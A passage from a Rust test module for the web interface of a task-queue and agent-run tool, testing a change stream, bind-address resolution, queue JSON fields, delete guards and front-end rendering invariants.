8670            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
8671            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8672            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8673            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8674            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8675            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8676        ] {
8677            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8678        }
8679    }
8680
8681    #[test]
8682    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8683        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
8684        // above for the section-focus channel a stats queue tile drives:
8685        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
8686        // through the stale-search-clear recursion into renderQueue(), and
8687        // clear it only once revealQueueSection() is actually about to run -
8688        // the same trap that once silently dropped a task-focus jump.
8689        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8690        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8691        assert!(APP_JS.contains("function revealQueueSection(details)"));
8692        assert!(
8693            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
8694            "renderQueue() must consume both focus channels on every pass"
8695        );
8696        assert!(
8697            APP_JS.contains(
8698                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
8699            ),
8700            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8701             the recursive renderQueue() call has nothing left to reveal"
8702        );
8703        assert!(
8704            APP_JS.contains(
8705                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
8706            ),
8707            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8708        );
8709        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
8710        // task-focus form of the hash - a plain `#queue` navigation only
8711        // flips which view is visible. openQueueSectionFocus() must
8712        // therefore call renderQueue() itself, and applyRoute() too so the
8713        // view flips even when the hash doesn't change (the Backlog may
8714        // already be open when a tile is tapped, firing no hashchange
8715        // event at all).
8716        assert!(
8717            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
8718            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8719             hashchange event that may never fire"
8720        );
8721    }
8722
8723    #[tokio::test]
8724    async fn the_change_stream_announces_the_current_revisions_on_connect() {
8725        let f = Fixture::start().await;
8726
8727        let mut socket = tokio::net::TcpStream::connect(f.addr)
8728            .await
8729            .expect("connect");
8730        socket
8731            .write_all(
8732                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8733            )
8734            .await
8735            .expect("write request");
8736
8737        // Read until the first event arrives rather than to end of stream: the
8738        // stream is endless by design, which is the point of the route.
8739        let mut seen = String::new();
8740        let mut buf = [0u8; 1024];
8741        while !seen.contains("event: change") {
8742            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8743                .await
8744                .expect("the stream must speak within five seconds")
8745                .expect("read");
8746            assert!(read > 0, "the server closed the change stream: {seen}");
8747            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8748        }
8749
8750        assert!(
8751            seen.to_lowercase()
8752                .contains("content-type: text/event-stream"),
8753            "the browser only reconnects automatically for a real SSE stream: {seen}"
8754        );
8755        let data = seen
8756            .lines()
8757            .find_map(|l| l.strip_prefix("data:"))
8758            .expect("a data line");
8759        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8760        assert!(
8761            payload["queue_rev"].is_u64()
8762                && payload["runs_rev"].is_u64()
8763                && payload["questions_rev"].is_u64()
8764                && payload["talks_rev"].is_u64()
8765                && payload["notifications_rev"].is_u64()
8766                && payload["loop_rev"].is_u64(),
8767            "the client needs one revision per store to know what to refetch, \
8768             and `talks_rev` is the only notification a standing talk gets - a \
8769             phone whose radio slept through a turn learns about it here, as \
8770             does one whose operator started the loop from another device: \
8771             {payload}"
8772        );
8773
8774        // The front end re-polls health on a timer and on wake, and takes the
8775        // revisions from that answer whenever the stream is not up. So health
8776        // has to carry every key the stream carries: a phone on a link that
8777        // will not hold an SSE connection is exactly the phone that must still
8778        // notice a question, and a missing key there is not a 500 but a UI
8779        // that quietly stops updating.
8780        let health = f.get("/api/health").await.json();
8781        for key in [
8782            "queue_rev",
8783            "runs_rev",
8784            "questions_rev",
8785            "talks_rev",
8786            "notifications_rev",
8787            "loop_rev",
8788        ] {
8789            assert!(
8790                health[key].is_u64(),
8791                "health is the change stream's fallback and is missing `{key}`: {health}"
8792            );
8793        }
8794    }
8795
8796    #[tokio::test]
8797    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8798        let f = Fixture::start().await;
8799        let before = f.get("/api/health").await.json()["talks_rev"]
8800            .as_u64()
8801            .expect("talks_rev");
8802
8803        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8804        std::thread::sleep(Duration::from_millis(10));
8805        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8806        on_disk.turns.push(crate::talk::Turn {
8807            who: crate::talk::Who::Operator,
8808            body: "a new turn".to_owned(),
8809            at: Timestamp::now(),
8810            attachments: Vec::new(),
8811        });
8812        f.talks().put(&mut on_disk).expect("record a turn");
8813
8814        let after = f.get("/api/health").await.json()["talks_rev"]
8815            .as_u64()
8816            .expect("talks_rev");
8817        assert_ne!(
8818            before, after,
8819            "a phone must be able to notice a talk's reply without polling every store"
8820        );
8821    }
8822
8823    #[test]
8824    fn bind_reads_back_from_the_spelling_the_cli_prints() {
8825        // The CLI shows the default in `--help` and parses whatever comes
8826        // back, so the two directions have to agree or `--bind auto` breaks
8827        // the moment someone copies the help text.
8828        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8829            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8830        }
8831        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8832        assert!("everywhere".parse::<Bind>().is_err());
8833    }
8834
8835    #[test]
8836    fn an_explicit_bind_address_is_taken_verbatim() {
8837        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8838
8839        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8840
8841        assert_eq!(addr, asked);
8842        assert!(
8843            warning.is_none(),
8844            "an operator who named an address gets no lecture"
8845        );
8846    }
8847
8848    #[test]
8849    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8850        let (addr, warning) = resolve_bind(&Bind::Auto);
8851
8852        // This has to hold on a CI runner with no `tailscale` and on a dev box
8853        // with one, so the invariant asserted is the one shared by both
8854        // outcomes: the address is either a real tailnet address offered
8855        // without comment, or loopback with an explanation. What must never
8856        // happen is a silent fallback - an operator told "listening on
8857        // 127.0.0.1" with no reason would go looking for a firewall.
8858        match addr {
8859            IpAddr::V4(ip) if is_tailnet(&ip) => {
8860                assert!(warning.is_none(), "a tailnet address needs no warning");
8861            }
8862            other => {
8863                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8864                let warning = warning.expect("a fallback has to explain itself");
8865                assert!(
8866                    warning.contains("127.0.0.1") && warning.contains("local-only"),
8867                    "the warning says what happened and what it costs: {warning}"
8868                );
8869            }
8870        }
8871    }
8872
8873    #[test]
8874    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8875        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
8876        // boundary cases are what stop us binding to some other tool's idea of
8877        // an address.
8878        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8879        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8880        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8881        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8882        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8883    }
8884
8885    #[test]
8886    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8887        let ids = vec![
8888            "20260902-140501-aaaa".to_owned(),
8889            "20260902-140502-aabb".to_owned(),
8890        ];
8891
8892        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8893        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8894        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8895
8896        assert_eq!(missing.status, StatusCode::NOT_FOUND);
8897        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8898        assert_eq!(short, "20260902-140502-aabb");
8899    }
8900    #[tokio::test]
8901    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8902        // The prompt tells agents to reference attachments by bare filename.
8903        // A document served at `.../panel` resolves `shot.png` against its own
8904        // directory, i.e. `.../shot.png`, which is not the asset route - so a
8905        // panel written exactly as instructed showed broken images. Caught by
8906        // looking at a real one in a browser, not by reading the code.
8907        let fx = Fixture::start().await;
8908        let id = panel(
8909            &fx,
8910            "<img src=\"shot.png\">",
8911            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8912        );
8913
8914        // The frame's own URL ends in a filename, so its siblings are reachable.
8915        let doc = fx
8916            .get(&format!("/api/questions/{id}/panel/index.html"))
8917            .await;
8918        assert_eq!(doc.status, 200, "{}", doc.body);
8919        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8920
8921        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8922        assert_eq!(sibling.status, 200, "{}", sibling.body);
8923        assert_eq!(sibling.header("content-type"), Some("image/png"));
8924        assert_eq!(
8925            sibling.header("content-security-policy"),
8926            Some(PANEL_CSP),
8927            "the sibling route must carry the same policy as the asset route"
8928        );
8929
8930        // The original spelling keeps working: HEAD on it is how the front end
8931        // decides whether to mount a frame at all.
8932        assert_eq!(
8933            fx.head(&format!("/api/questions/{id}/panel")).await.status,
8934            200
8935        );
8936    }
8937
8938    #[test]
8939    fn runs_revision_moves_when_deleting_an_older_run() {
8940        let temp = TempDir::new().expect("tempdir");
8941        let runs = temp.path().join("runs");
8942        std::fs::create_dir_all(&runs).expect("create runs dir");
8943
8944        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8945
8946        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8947        std::thread::sleep(Duration::from_millis(10));
8948        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8949
8950        let rev_before = runs_revision(&runs);
8951        assert!(rev_before > 0);
8952
8953        let old_dir = runs.join("20260901-100000-old1");
8954        std::fs::remove_dir_all(&old_dir).expect("remove old run");
8955
8956        let rev_after = runs_revision(&runs);
8957        assert_ne!(
8958            rev_before, rev_after,
8959            "deleting an older run must change the revision so other clients see the deletion"
8960        );
8961    }
8962
8963    /// A run's own `run.json` on an explicit `runs` root, bypassing the
8964    /// process-global home entirely — `RunState::save` writes through
8965    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
8966    /// (see `tests::home_lock` in the integration suite for why).
8967    fn write_state(runs: &FsPath, state: &RunState) {
8968        let dir = runs.join(&state.id);
8969        std::fs::create_dir_all(&dir).expect("run dir");
8970        std::fs::write(
8971            dir.join("run.json"),
8972            serde_json::to_string_pretty(state).expect("serialize run"),
8973        )
8974        .expect("write run.json");
8975    }
8976
8977    /// A seat starting or finishing is a write to `run.json` like any other,
8978    /// so it moves the same revision the change stream already watches —
8979    /// nothing new for `/api/events` to learn, but the property this feature
8980    /// depends on to reach the phone without a poll.
8981    #[test]
8982    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8983        let temp = TempDir::new().expect("tempdir");
8984        let runs = temp.path().join("runs");
8985        std::fs::create_dir_all(&runs).expect("create runs dir");
8986        let mut state = RunState::new(
8987            PathBuf::from("/repo/magi"),
8988            "main".to_owned(),
8989            "0123456789abcdef".to_owned(),
8990            "task".to_owned(),
8991            Config::default(),
8992        );
8993        state.id = "20260902-100000-c0de".to_owned();
8994        write_state(&runs, &state);
8995
8996        let rev_idle = runs_revision(&runs);
8997        std::thread::sleep(Duration::from_millis(10));
8998        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8999        write_state(&runs, &state);
9000        let rev_started = runs_revision(&runs);
9001        assert_ne!(
9002            rev_idle, rev_started,
9003            "a seat starting must move the revision"
9004        );
9005
9006        std::thread::sleep(Duration::from_millis(10));
9007        state.seat_finished("judge-1");
9008        write_state(&runs, &state);
9009        let rev_finished = runs_revision(&runs);
9010        assert_ne!(
9011            rev_started, rev_finished,
9012            "and clearing it again must move the revision a second time"
9013        );
9014    }
9015
9016    #[tokio::test]
9017    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
9018        // `TaskView` flattens `Task`, so this is really asserting that
9019        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
9020        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
9021        // never touched web.rs, so nothing here caught it if it had.
9022        let fx = Fixture::start().await;
9023        let q = fx.queue();
9024
9025        let mut t = Task::new(
9026            "Task".to_owned(),
9027            "Instruction".to_owned(),
9028            PathBuf::from("/repo"),
9029            Source::Human,
9030        );
9031        t.block(
9032            vec!["20260101-000000-dead".to_owned()],
9033            Some("waiting on Task 1".to_owned()),
9034        );
9035        t.answers.push(crate::queue::AnsweredQuestion {
9036            question: "Which backend?".to_owned(),
9037            answer: "SQLite".to_owned(),
9038        });
9039        q.put(&mut t).expect("put t");
9040
9041        let res = fx.get("/api/queue").await;
9042        assert_eq!(res.status, 200);
9043        let list = res.json();
9044        let view = list
9045            .as_array()
9046            .expect("array")
9047            .iter()
9048            .find(|v| v["id"] == t.id)
9049            .expect("task in list");
9050        assert_eq!(view["status_str"], "blocked");
9051        assert_eq!(
9052            view["blocked_by"],
9053            serde_json::json!(["20260101-000000-dead"])
9054        );
9055        assert_eq!(view["block_reason"], "waiting on Task 1");
9056        assert_eq!(view["answers"][0]["question"], "Which backend?");
9057        assert_eq!(view["answers"][0]["answer"], "SQLite");
9058
9059        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
9060        // but never `answers` - that is a settled decision, not state
9061        // describing the current block, so it survives.
9062        let res = fx
9063            .post(&format!("/api/queue/{}/hold", t.short()), None)
9064            .await;
9065        assert_eq!(res.status, 200);
9066        let held = res.json();
9067        assert_eq!(held["status_str"], "held");
9068        assert_eq!(held["blocked_by"], serde_json::json!([]));
9069        assert!(held["block_reason"].is_null());
9070        assert_eq!(held["answers"][0]["answer"], "SQLite");
9071    }
9072
9073    #[tokio::test]
9074    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9075        let fx = Fixture::start().await;
9076        let q = fx.queue();
9077        let mk = |title: &str| {
9078            Task::new(
9079                title.to_owned(),
9080                "Instruction".to_owned(),
9081                PathBuf::from("/repo"),
9082                Source::Human,
9083            )
9084        };
9085        let mut root = mk("root");
9086        root.hold_manual(Some("waiting".to_owned()));
9087        q.put(&mut root).unwrap();
9088        let mut mid = mk("mid");
9089        mid.block(vec![root.id.clone()], None);
9090        q.put(&mut mid).unwrap();
9091        let mut leaf = mk("leaf");
9092        leaf.block(vec![mid.id.clone()], None);
9093        q.put(&mut leaf).unwrap();
9094
9095        let list = fx.get("/api/queue").await.json();
9096        let find = |id: &str| {
9097            list.as_array()
9098                .unwrap()
9099                .iter()
9100                .find(|v| v["id"] == id)
9101                .unwrap()
9102                .clone()
9103        };
9104        let leaf_view = find(&leaf.id);
9105        assert_eq!(
9106            leaf_view["waits_on"],
9107            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9108        );
9109        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9110        assert_eq!(
9111            find(&mid.id)["waits_on"],
9112            serde_json::json!([format!("{} (held)", root.short())])
9113        );
9114        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9115    }
9116
9117    #[tokio::test]
9118    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9119        let fx = Fixture::start().await;
9120        let q = fx.queue();
9121
9122        // 1. A queued task with runs attached can be deleted.
9123        let mut t1 = Task::new(
9124            "Task 1".to_owned(),
9125            "Instruction 1".to_owned(),
9126            PathBuf::from("/repo"),
9127            Source::Human,
9128        );
9129        let run_id = "20260901-000000-r111";
9130        t1.runs.push(run_id.to_owned());
9131        write_run(&fx.runs(), run_id, RunStatus::Merged);
9132        q.put(&mut t1).expect("put t1");
9133
9134        // Delete by short id
9135        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9136        assert_eq!(res.status, 204);
9137        assert!(res.body.is_empty(), "204 No Content has no body");
9138        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9139        assert!(
9140            fx.runs().join(run_id).exists(),
9141            "run directory must not be deleted when its task is deleted"
9142        );
9143
9144        // 2. A task a live daemon is running is refused with 409.
9145        let mut t2 = Task::new(
9146            "Task 2".to_owned(),
9147            "Instruction 2".to_owned(),
9148            PathBuf::from("/repo"),
9149            Source::Human,
9150        );
9151        t2.status = TaskStatus::Running;
9152        q.put(&mut t2).expect("put t2");
9153        let mut beat = crate::daemon::Status::new();
9154        beat.current = vec![crate::daemon::Current {
9155            task: t2.id.clone(),
9156            run: "20260901-000000-r222".to_owned(),
9157        }];
9158        beat.updated_at = jiff::Timestamp::now();
9159        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9160            .expect("publish a heartbeat");
9161        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9162        assert_eq!(res.status, 409);
9163        assert!(
9164            res.json()["error"]
9165                .as_str()
9166                .unwrap()
9167                .contains("live daemon")
9168        );
9169        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9170
9171        // 3. The same `running` status and an orphaned lock, with no daemon
9172        // behind either, is a leftover and deletable. Before this the phone
9173        // refused it for good: the status never changes on its own and
9174        // nothing drops a lock whose process is gone.
9175        // The daemon is killed: the file stays, the heartbeat stops.
9176        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9177        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9178            .expect("leave a stale heartbeat");
9179        let mut t3 = Task::new(
9180            "Task 3".to_owned(),
9181            "Instruction 3".to_owned(),
9182            PathBuf::from("/repo"),
9183            Source::Human,
9184        );
9185        t3.status = TaskStatus::Running;
9186        q.put(&mut t3).expect("put t3");
9187        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9188        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9189        assert_eq!(res.status, 204);
9190        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9191        assert!(
9192            q.claim(&t3.id).is_ok(),
9193            "the stale lock went with it, so the id is claimable again"
9194        );
9195
9196        // 4. Missing id returns 404
9197        let res = fx.delete("/api/queue/nonexistent").await;
9198        assert_eq!(res.status, 404);
9199    }
9200
9201    #[tokio::test]
9202    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9203        let fx = Fixture::start().await;
9204        let runs = fx.runs();
9205
9206        // 1. Finished and folded run can be deleted along with artifacts
9207        let run_id = "20260901-000000-fold";
9208        let mut state = RunState::new(
9209            PathBuf::from("/repo"),
9210            "main".to_owned(),
9211            "abc".to_owned(),
9212            "instruction".to_owned(),
9213            Config::default(),
9214        );
9215        state.id = run_id.to_owned();
9216        state.status = RunStatus::Merged;
9217        state.candidates.push(crate::run::Candidate {
9218            index: 0,
9219            label: 'A',
9220            agent: "a".to_owned(),
9221            branch: "b".to_owned(),
9222            worktree: PathBuf::from("/w"),
9223            summary: String::new(),
9224            stat: String::new(),
9225            files: 1,
9226            commits: 1,
9227            empty: false,
9228            failed: None,
9229            verified_noop: None,
9230            duration_ms: 0,
9231            folded: true,
9232        });
9233        let dir = runs.join(run_id);
9234        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9235        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9236            .expect("write artifact");
9237        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9238            .expect("write run.json");
9239
9240        // Delete by short id
9241        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9242        assert_eq!(res.status, 204);
9243        assert!(res.body.is_empty(), "204 has no body");
9244        assert!(!dir.exists(), "run directory and artifacts must be deleted");
9245
9246        // 2. A run a live daemon is working on is refused with 409. The
9247        // heartbeat is what makes it refusable: an unfinished run with no
9248        // daemon behind it is a leftover from a killed process, and case 1
9249        // above would otherwise be impossible to tell apart from this one.
9250        let run_running = "20260901-000000-rung";
9251        write_run(&runs, run_running, RunStatus::Prep);
9252        let mut beat = crate::daemon::Status::new();
9253        beat.current = vec![crate::daemon::Current {
9254            task: "20260901-000000-task".to_owned(),
9255            run: run_running.to_owned(),
9256        }];
9257        beat.updated_at = jiff::Timestamp::now();
9258        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9259            .expect("publish a heartbeat");
9260        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9261        assert_eq!(res.status, 409);
9262        assert!(
9263            res.json()["error"]
9264                .as_str()
9265                .unwrap()
9266                .contains("live daemon"),
9267            "the refusal must say who is holding it"
9268        );
9269        assert!(
9270            runs.join(run_running).exists(),
9271            "a run in flight keeps its directory"
9272        );
9273
9274        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
9275        let run_unfolded = "20260901-000000-unfd";
9276        let mut state2 = RunState::new(
9277            PathBuf::from("/repo"),
9278            "main".to_owned(),
9279            "abc".to_owned(),
9280            "instruction".to_owned(),
9281            Config::default(),
9282        );
9283        state2.id = run_unfolded.to_owned();
9284        state2.status = RunStatus::Ready;
9285        state2.candidates.push(crate::run::Candidate {
9286            index: 0,
9287            label: 'A',
9288            agent: "a".to_owned(),
9289            branch: "b".to_owned(),
9290            worktree: PathBuf::from("/w"),
9291            summary: String::new(),
9292            stat: String::new(),
9293            files: 1,
9294            commits: 1,
9295            empty: false,
9296            failed: None,
9297            verified_noop: None,
9298            duration_ms: 0,
9299            folded: false,
9300        });
9301        let dir2 = runs.join(run_unfolded);
9302        std::fs::create_dir_all(&dir2).expect("create dir2");
9303        std::fs::write(
9304            dir2.join("run.json"),
9305            serde_json::to_string(&state2).unwrap(),
9306        )
9307        .expect("write run.json");
9308
9309        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9310        assert_eq!(res.status, 409);
9311        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9312        assert!(dir2.exists(), "unfolded run directory is kept");
9313
9314        // 4. Missing id returns 404
9315        let res = fx.delete("/api/runs/nonexistent").await;
9316        assert_eq!(res.status, 404);
9317    }
9318
9319    /// The queue tiles on the Stats tab must render even on a home with no
9320    /// runs at all: queue state is not derived from run history, so hiding
9321    /// the whole dashboard body behind "no runs yet" would drop the one
9322    /// thing this tab promises unconditionally (queued/running/held/done).
9323    /// A DOM-level test would need a browser this suite does not have, so
9324    /// this pins the same invariant textually: `renderStatsQueue` is called
9325    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
9326    /// block that gates the run-derived panels.
9327    #[test]
9328    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9329        let start = APP_JS
9330            .find("function renderStats() {")
9331            .expect("renderStats");
9332        let end = start
9333            + APP_JS[start..]
9334                .find("function statsTile(")
9335                .expect("the next top-level function");
9336        let body = &APP_JS[start..end];
9337
9338        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9339        let gate_end = gate_start
9340            + body[gate_start..]
9341                .find("}\n  renderStatsQueue")
9342                .expect("the gate's own closing brace, right before the unconditional call");
9343        let gated = &body[gate_start..gate_end];
9344
9345        assert_eq!(
9346            body.matches("renderStatsQueue(").count(),
9347            1,
9348            "renderStats must call renderStatsQueue exactly once: {body}"
9349        );
9350        assert!(
9351            !gated.contains("renderStatsQueue"),
9352            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9353             run-derived panels on an empty run history - the queue panel has to render \
9354             regardless: {gated}"
9355        );
9356    }
9357
9358    #[test]
9359    fn web_ui_delete_contract_in_front_end() {
9360        // 1. API block has both delete endpoints
9361        assert!(APP_JS.contains("deleteRun:"));
9362        assert!(APP_JS.contains("deleteTask:"));
9363
9364        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
9365        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9366            ..APP_JS.find("function renderRuns").unwrap()];
9367        assert!(!run_cards_slice.to_lowercase().contains("delete"));
9368
9369        // 3. Run detail has delete entry and reasons
9370        assert!(APP_JS.contains("renderRunDelete"));
9371        assert!(APP_JS.contains("runDeleteReason"));
9372        assert!(APP_JS.contains("magi fold"));
9373        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9374
9375        // 4. Two-step delete arming and focus on Cancel
9376        assert!(APP_JS.contains("cancel.focus"));
9377        assert!(APP_JS.contains("armedRunDelete"));
9378        assert!(APP_JS.contains("armedDelete"));
9379
9380        // 5. Running task has disabled delete
9381        assert!(APP_JS.contains("disabled: status === \"running\""));
9382    }
9383
9384    /// Every element a run card's updater reaches for must be in the `refs`
9385    /// the builder handed it.
9386    ///
9387    /// `createRunCard` builds its elements, appends them to the card, and then
9388    /// lists them again in `row.refs`. That second list is the one the updater
9389    /// uses, and nothing connects the two - an element can be built, appended
9390    /// and rendered, and still be missing from `refs`. `superseded` was, for
9391    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
9392    /// exception took `syncList` with it, and the deck showed
9393    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
9394    /// line is computed before the cards, which is why the failure looked like
9395    /// a server that had lost its runs rather than a front end that had
9396    /// stopped rendering them.
9397    ///
9398    /// A `cargo test` cannot execute the front end, so this reads the two
9399    /// halves out of the source and compares them as sets. It is not a check
9400    /// on the wording of either list: adding an element, renaming one, or
9401    /// reordering them all keeps this passing, and only using one the builder
9402    /// never published fails it.
9403    #[test]
9404    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9405        let build = APP_JS
9406            .find("function createRunCard")
9407            .expect("createRunCard exists");
9408        let update = APP_JS
9409            .find("function updateRunCard")
9410            .expect("updateRunCard exists");
9411        let end = APP_JS
9412            .find("function renderRuns")
9413            .expect("renderRuns exists");
9414
9415        // The builder's published set: the object literal assigned to `refs`.
9416        let builder = &APP_JS[build..update];
9417        let open = builder.find("refs = {").expect("createRunCard sets refs");
9418        let literal = &builder[open + "refs = {".len()..];
9419        let close = literal.find('}').expect("the refs literal is closed");
9420        let published: HashSet<&str> = literal[..close]
9421            .split(',')
9422            // `name` and `name: value` both bind `name`.
9423            .filter_map(|entry| entry.split(':').next())
9424            .map(str::trim)
9425            .filter(|name| !name.is_empty())
9426            .collect();
9427        assert!(
9428            published.len() > 5,
9429            "the refs literal did not parse into names: {published:?}"
9430        );
9431
9432        // What the updaters reach for: every `r.<name>`, where `r` is the
9433        // `const r = row.refs` alias both functions open with.
9434        let mut used: Vec<&str> = Vec::new();
9435        let updaters = &APP_JS[update..end];
9436        for (at, _) in updaters.match_indices("r.") {
9437            // `r` must be the whole identifier, not the tail of another one
9438            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
9439            let before = updaters[..at].chars().next_back();
9440            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9441                continue;
9442            }
9443            let rest = &updaters[at + 2..];
9444            let len = rest
9445                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9446                .unwrap_or(rest.len());
9447            if len > 0 {
9448                used.push(&rest[..len]);
9449            }
9450        }
9451        assert!(
9452            used.len() > 5,
9453            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9454        );
9455
9456        let missing: Vec<&str> = used
9457            .iter()
9458            .copied()
9459            .filter(|name| !published.contains(name))
9460            .collect();
9461        assert!(
9462            missing.is_empty(),
9463            "a run card's updater reaches for {missing:?}, which `createRunCard` \
9464             never put in `refs` - every card will throw and the list will \
9465             render empty under a count line that says otherwise. Published: \
9466             {published:?}"
9467        );
9468    }
9469
9470    #[tokio::test]
9471    async fn folding_from_the_phone_reports_what_it_removed() {
9472        let fx = Fixture::start().await;
9473        let runs = fx.runs();
9474
9475        // A run with no candidates has nothing to fold, which is a 200 with an
9476        // honest count rather than an error: the operator asked for the trees
9477        // to be gone and they are.
9478        let id = "20260901-000000-fold";
9479        write_run(&runs, id, RunStatus::Stalled);
9480        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9481        assert_eq!(res.status, 200);
9482        assert_eq!(res.json()["removed_count"], 0);
9483        assert_eq!(res.json()["run"], id);
9484        assert!(
9485            runs.join(id).exists(),
9486            "a fold keeps the run's record; only the worktrees go"
9487        );
9488    }
9489
9490    #[tokio::test]
9491    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9492        let fx = Fixture::start().await;
9493        let runs = fx.runs();
9494        let wt = fx.home.path().join("wt").join("magi").join("dead");
9495        let id = "20260901-000000-dead";
9496        std::fs::create_dir_all(runs.join(id)).expect("run dir");
9497        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9498        std::fs::create_dir_all(&wt).expect("worktree dir");
9499
9500        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9501        assert_eq!(res.status, 200, "{}", res.body);
9502        assert!(
9503            res.json()["removed_count"].as_u64().unwrap() > 0,
9504            "the worktree this build could not read a state for still went"
9505        );
9506        assert!(
9507            !runs.join(id).exists(),
9508            "an unreadable run has no candidate list to fold selectively, so \
